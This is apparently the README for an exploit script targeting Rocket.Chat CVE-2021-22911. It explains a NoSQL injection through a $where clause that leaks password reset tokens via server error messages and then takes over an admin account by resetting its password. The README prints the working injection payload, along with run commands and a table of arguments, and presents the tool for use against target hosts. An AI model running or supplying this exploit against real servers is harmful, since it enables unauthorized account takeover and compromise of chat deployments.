
Automated exploit for Rocket.Chat NoSQL injection (CVE-2021-22911) that leaks password reset tokens and performs unauthenticated account takeover.
An automated exploit script for Rocket.Chat (and Meteor-based applications) that leverages a NoSQL Injection via the $where clause to leak password reset tokens through server-side exceptions. Once the token is leaked, the script performs an unauthenticated password reset.
Authentication: The script authenticates as a standard user to gain access to the /api/v1/users.list endpoint.
NoSQL Injection: It uses the query parameter to inject a $where JavaScript clause.
Data Exfiltration: By using the throw statement within the injection, it forces the server to return an "uncaught exception" error containing the target user's password reset token.
Account Takeover: The script uses the leaked token to call resetPassword, changing the target account's password.
Python 3.x
requests library
Bash
pip install requests
Bash
python3 exploit.py --url http://<TARGET_IP>:3000\
-u <YOUR_USER>\
-p <YOUR_PASS>\
-a <TARGET_ADMIN_USER>\
-ap <NEW_ADMIN_PASSWORD>
The core of the exploit is the injection string:
JavaScript
{"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}
When processed by the server, the database engine executes the anonymous function, crashes on the throw, and the application catches the exception, inadvertently passing the secret token back to the user in the JSON error response.
| Argument | Long Flag | Description |
|---|
-u | --user | Your valid username or email for initial auth. |
-p | --password | Your valid password. |
-a | --admin | The username of the account you want to reset. |
-ap | --admin-pass | The new password to set for the admin account. |
--url | The base URL of the Rocket.Chat instance. |